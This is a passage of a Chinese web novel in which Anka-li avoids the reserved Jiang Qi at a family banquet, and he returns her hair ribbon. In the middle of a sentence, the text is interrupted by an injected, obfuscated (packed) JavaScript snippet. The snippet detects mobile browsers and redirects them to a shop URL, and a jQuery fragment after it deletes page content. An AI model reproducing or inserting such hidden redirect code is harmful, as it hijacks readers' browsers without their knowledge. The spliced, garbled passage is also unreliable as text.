虽然从现在看他和江祈关系亲近,可这也仅限于工作层面上的,但程妄可不一样,江祈和他是从小长到大的。 这话成功让江祈停下了脚步。 他皱起眉,声音压低:“什么叫莫名其妙的吐血?” 程喻之张了张嘴喃喃道:“就,检查不出是什么原因。” — “卡莉。” 舒敏站在换衣间门口看见了垂着头不知道在想些什么的安卡莉,出声唤道。 安卡莉抬头,柔声应道:“舒师姐。” 想到赵绮跟她说的事情,她上前两步来到舒敏身旁。 “舒师姐,我们实验室是不是有一个大群,我能不能加进去呀。” 舒敏愣了一会儿,疑惑道:“我没有把你拉进去吗?” 安卡莉摇头,眼睛微弯露出一个笑容,“舒师姐这段时间太忙了,我应该主动问你。” 舒敏点开光屏,揉了揉眉心道歉:“抱歉,真的是太忙了。” “贴一下,进群备注一下姓名。”,她点出接触区。 安卡莉用手环贴了一下,进群之后备注上了自己的名字。 想到前天发生的事情,她向舒敏询问道:“舒师姐,前天的异物种子是怎么出现的?” “实验室不是没有活体异物吗?” 虽然安卡莉现在还没有机会接触异化生物的实验室,但她知道在霍内德不允许研究活体异物。 倒不是出于什么人道主义,而是活体的异物很容易畸变成为异物阴影,那会加大捕捉难度和引起非必要的人员伤亡。 舒敏对于这个问题也是一筹莫展,按道理这样的事情是不会发生的,但偏偏又出现了这种情况。 “事情还在调查。” “幸好发现的及时,没有造成人员伤亡,要不然……” 安卡莉知道对方没有说完的话,要不然就会成为重大事故,到时候就是实验室的管理层领导集体受罚,而她们这些实验员也讨不了什么好。 舒敏换上实验服,拿着护目镜,说道:“走吧,去完成今天的任务。” 看着已经黑透了的天,安卡莉摘下护目镜,揉了揉发红发痒的接触区域,瞬间感觉轻松了不少。 从治疗室回到实验室,并且没有了安抚者的身份,就意味着她下班的时间又恢复到了八点。 这让连续三天都能看见光线的她有些不适应了。 但好消息是明天她可以开车上班了,她的审核通过了。 她也没想到审核部审核速度这么快,这才过了一天就给她发信息了。 因为今晚没有下雪,所以安卡莉回家的时间都比往常快了不少,只不过路过江斯理家的时候,她下意识环顾了一下四周,见没人加快了些步子。 她总感觉自己的下巴还隐隐存在那股粗粒的摩擦感,然后被迫抬起。 安卡莉摇了摇头,让自己不要再想。 29. 第二十九章 “卡莉,你怎么站在这里不来找我?” 莫宁含着诧异的声音传来。 看着好友站在宴会的边缘区,她拎着裙尾向对方走去。 安卡莉对着莫林露出一个讪笑,她能说是看见江祈了,所以才没有过去吗? 在莫林的身后,江祈穿着一身正式的黑色西服,深色系包裹着他挺拔的身形,每一寸布料感觉都服帖得恰到好处,身上没有一丝多余的装饰,就如同他的性格一样,清冷疏离。 只见对方手上的黑色大衣被旁边的佣人接过去,朝着对方道谢的时候目光向前移。 安卡莉在注意到对方举动的第一瞬间,快速离开原地,走到他的视野盲区。 整个空间中,光线被压得很低,如同罩了一层轻薄的纱,没有亮眼的白炽灯或者璀璨的灯光,有得只是朦胧,模糊的光影。 所以安卡莉不担心就凭刚刚那瞬间的身影,对方能确定是她。 莫宁踮起脚小声朝好友靠近,用只有两人听得见的声音问道:“你在躲谁?” 她的眼里是十足的探知欲,安卡莉轻眨着眼睫,摸了摸鼻子,违心说:“没有谁,我只是不太习惯看见这么多人。” 这次莫宁父母请的人很多,整个庄园内部都是细微的谈笑声和杯壁的轻碰声,轻缓的音乐似有若无,花香微微浮动,萦绕在这片暗淡灯光下。 莫宁放下裙子,抬头示意了一下前面正在和人打招呼的父母,“如果只是我妈妈的生日宴倒也不会如此隆重。” 说到这里,她往安卡莉的耳边凑了凑:“他们是为了给我姐选联姻对象呢。” 听到这个词,安卡莉回头,“联姻?” 莫宁看见好友变了的表情,‘哎呀’了一声,“别往不好的方面想,他们是想培养我姐当继承人。” 联姻并不代表真的要结婚,只是在名义上起到一个连接作用,让两家深度绑定,等合作达成,联姻自然而然也就消失了。 安卡莉望向中央穿着灰色长裙的莫时意,她嘴角带着笑的和在场人寒暄。 看来真的不是她想的那样。 “可,时意姐不是在稽察部当审讯员吗?” 莫宁‘唔’了一声,“要看我姐在哪方面走得远了。” 安卡莉接过话,“所以,你爸妈请了江祈哥?” 莫宁耸了耸肩,意思不言而喻。 江祈的父母都是霍内德的三级官员,母亲是监察长,父亲是执政副官,如果莫时意和江祈联姻了,那她的上升通道会比别人多一条。 在霍内德,四级以上官员有向各部门举荐公职人员的资格,但终身只有一次举荐机会。 当然,被举荐人的能力需要匹配得上这个岗位。 这是霍内德政府为了防止执政,执法以及监督三个要部出现权力垄断,让它们互相牵制,互相监督,同时也让更有能力的人来胜任这个位置。 正当安卡莉出神的时候,莫宁挽住了她的手腕,带着她往前走。 “走吧,我带你去见我爸妈。” 还没来及反应的安卡莉被她拽着走了好几步。 等她思绪回拢打算停下的时候,她已经到了众人的视线之内了。 她侧头对着自己的好友露出一个苦笑,然后认命般唤了旁边那人一声:“江祈哥。” 江祈对上安卡莉的目光微微颔首,打算移开时,看见了她用来扎头发的细丝带松落在她的肩上。 蓝色的,她喜欢的颜色。 江祈动了动垂在身侧的手,听见耳边莫母的声音才抬起浅浅的眼皮。 “斯理在学校,今天回不来。”,他说。 这时,有人在唤他。 江祈朝莫母微微弯身,“莫阿姨,我先过去一下,失陪”,等到对方的应声之后抬脚离开。 莫母遗憾了一瞬,从莫宁脸上扫过去,看着她身旁穿着浅绿色长裙的安卡莉柔声笑了笑,“小卡莉,阿姨好久都没有看见你了。” 安卡莉上前两步,温声说着:“莫阿姨,是我的错,这么久都没有上门拜访您。” “您最近头疼缓解一些了没有?” 莫母听见对方的问候,用着保养极好的手轻拍了她的手背两下,温柔的脸上满是疼爱之意,“多亏了你上次给我找到的偏方,我感觉这段时间好多了。” “谢谢小卡莉。” “不用客气的,莫阿姨,有用就好。” 想到什么,莫母又开口:“季知最近还好吗?” 这话一出,莫宁立马看了看自己好友的脸色,不耐地喊了一声:“妈!” 莫母摆摆手,无奈应声:“好了好了,我不问就是了。” 这时,有一位阿姨拉走了莫母,莫母只得让他们剩下这群同龄人好好玩,往宴会中心走去。 剩下的莫宁小心去瞥好友垂着眸的脸,喃喃道:“我妈她不是故意的,安安你别生气。” “我没事。” “我们不说这个了。” 莫宁看着平常带着笑意的好友生神情一下子就沉寂了下来。 她就知道,季知这个名字不能提! 而刚好回来的江祈在她们身后停下,他微不可察地动了动那双淡漠的眸子。 安卡莉浅浅吐出一口气,看见好友担忧的表情摇了摇头,笑道:“没你想的那么严重。” 这件事都过去几年了,她都放下了。 随即她指了指前面,“我先去下洗手间,等下回来找你。” “我和……”你去,剩下的字莫宁没能说出来,因为她姐在前面朝她招手,示意她过去一趟。 和莫宁站在一起的安卡莉自然也看见,“去吧,时意姐在叫你。” 从洗手间出来,安卡莉看了一眼前方的楼梯,拎着裙子上去,走到了走廊的尽头。 她将窗户打开了点缝隙,清凉带着冷气的风瞬间吹了进来,消散了她的一些闷气。 这里是莫家的私人庄园,面积很大,一眼望去都是层层叠叠交错在一起的树干,在昏黄灯光下浅浅被勾勒出形状。 此时又开始下起了细小的风雪,灯光被笼罩在白色颗粒中间,散发出朦胧的光源。 渐渐地树枝上开始堆积起雪层。 说实话,季知这个名字是她今年听到的第二次了。 第一次是在程妄口中,第二次是在这里。 她似乎已经很久没有想起过这个人了,毕竟对方离开的时间太长了。 安卡莉关上窗,打算回去了,要不然莫宁该找她了。 刚转身,她就看见了穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15834347|173868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西装,不疾不徐靠近她的江祈。 似乎他的手里握着什么,一截蓝色的东西从指缝里垂落下来。 等对方走近,安卡莉意识到什么,往自己脑后摸去,那里本应该存在的丝带此时已经不见了。 她抬眸看向对面的人,眼神闪躲继而垂眸,。 “你在避着我。”,清冽带着确定的语调从对方嘴里说出。 这是一句肯定句。 她的表现有那么明显吗?安卡莉想。 对方虽然问出了口,她也不能真的承认吧。 思及此,安卡莉抬起眼眸,露出一个笑,“没有啊,江祈哥。” 然后像是转移话题一般,将手伸出指了指对方的手里的东西,“那是我的吗?江祈哥。” 一道短促的音节从他的唇间溢出,“嗯。” 等对方抬起手时,安卡莉接过,“谢谢江祈哥。” 这一幕让她有种似曾相识的感觉,上次对方捡到她的手链时,好像也是这样。 安卡莉将丝带重新系到头发上,顺便把耳边的碎发挽到耳朵后面,柔声道:“那江祈哥,我先过去了?” 但这句话没等到对方的应答,而是一句…… “一起。” 嗯? 和她一起下去吗? 安卡莉抬头去看对方那张在朦胧光线下也显得清冷的脸。 一些杂乱的思绪涌上心头。 江祈余光撇到对方的身形因为他这句话而顿住,下意识去看垂着头不知道在想些什么的人。 细短的发丝在她头顶微微翘起,脑后是半扎起的头发,上面绑着刚刚还在他手中的丝带。 江祈握了握手心,然后松开,面部表情不自觉地柔和了些。 在对方抬头时,移开了那道停留得稍久一些的目光。 其实,这段时间安卡莉很想询问一下对方对她的态度怎么这么奇怪。 但总是不好开口问出。 她隐隐约约有一个猜测,可又觉得这个猜测太过于离谱。 安卡莉抿了抿唇,几次张嘴都没能发出声。 江祈注意到对方欲言又止的表情,开口道:“想说什么?” 安卡莉听见对方清冽干净,不带一丝情绪的声音,便止住了想问出口的话,“……没什么。” 万一她问了,得到对方冷若冰霜的一句‘你想多了’。 那她这辈子都不会再想见到对方的。 从二楼的走廊尽头往楼梯口走的时候会路过几个房间,是供客人稍作休整的房间。 在她出神往前走时,前方的一道门突然打开,只能听见从里面走出来的人扭头向房间里说着什么。 听见声音的安卡莉迅速回神,刚停住脚步打算避开对方时,一只修长,骨节分明的手倏然攥住了她的手臂,她视线一转,整个人被身后的江祈以半包围的方式护住。 他身上的那股苦涩清淡的香气,混杂着他身上和雪一样冷冽疏离的气息,渐渐蔓延到她的身上。 几乎瞬间。 江祈就想到之前的逾举,让她对他避之不及, 安卡莉感受到对方的呼吸轻微地停顿了一下,握紧她手臂的手也促然放开,身体向后退了一步,与她拉开距离,嘴里说着:“抱歉。”